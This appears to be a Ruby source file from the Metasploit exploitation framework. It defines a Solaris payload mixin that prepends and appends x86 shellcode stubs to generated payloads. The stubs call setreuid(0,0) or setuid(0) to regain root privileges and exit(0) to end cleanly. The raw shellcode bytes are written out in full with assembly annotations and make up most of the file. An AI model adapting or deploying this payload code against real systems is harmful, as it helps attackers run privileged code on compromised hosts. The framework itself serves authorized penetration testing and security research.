114 lines
3.0 KiB
Ruby
114 lines
3.0 KiB
Ruby
require 'msf/core'
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###
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#
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# This class is here to implement advanced features for solaris-based
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# payloads. Solaris payloads are expected to include this module if
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# they want to support these features.
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#
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###
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module Msf::Payload::Solaris
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#
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# This mixin is chained within payloads that target the Solaris platform.
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# It provides special prepends, to support things like chroot and setuid.
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#
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def initialize(info = {})
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ret = super(info)
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register_advanced_options(
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[
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Msf::OptBool.new('PrependSetreuid',
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[
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false,
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"Prepend a stub that executes the setreuid(0, 0) system call",
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"false"
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]
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),
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Msf::OptBool.new('PrependSetuid',
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[
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false,
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"Prepend a stub that executes the setuid(0) system call",
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"false"
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]
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),
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Msf::OptBool.new('AppendExit',
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[
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false,
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"Append a stub that executes the exit(0) system call",
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"false"
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]
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),
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], Msf::Payload::Solaris)
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ret
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end
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#
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# Overload the generate() call to prefix our stubs
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#
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def generate(*args)
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# Call the real generator to get the payload
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buf = super(*args)
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pre = ''
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app = ''
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test_arch = [ *(self.arch) ]
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# Handle all x86 code here
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if (test_arch.include?(ARCH_X86))
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# Syscall code
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sc = "\x68\xff\xd8\xff\x3c" +# pushl $0x3cffd8ff #
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"\x6a\x65" +# pushl $0x65 #
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"\x89\xe6" +# movl %esp,%esi #
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"\xf7\x56\x04" +# notl 0x04(%esi) #
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"\xf6\x16" # notb (%esi) #
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# Prepend
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if (datastore['PrependSetreuid'])
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# setreuid(0, 0)
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pre << "\x31\xc0" +# xorl %eax,%eax #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\xb0\xca" +# movb $0xca,%al #
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"\xff\xd6" # call *%esi #
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end
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if (datastore['PrependSetuid'])
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# setuid(0)
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pre << "\x31\xc0" +# xorl %eax,%eax #
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"\x50" +# pushl %eax #
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"\xb0\x17" +# movb $0x17,%al #
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"\xff\xd6" # call *%esi #
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end
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# Append
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if (datastore['AppendExit'])
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# exit(0)
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app << "\x31\xc0" +# xorl %eax,%eax #
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"\x50" +# pushl %eax #
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"\xb0\x01" +# movb $0x01,%al #
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"\xff\xd6" # call *%esi #
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end
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# Prepend syscall code to prepend block
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if not (pre.empty?)
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pre = sc + pre
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end
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# Prepend syscall code to append block
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if not (app.empty?)
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app = sc + app
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end
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end
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return (pre + buf + app)
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end
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end |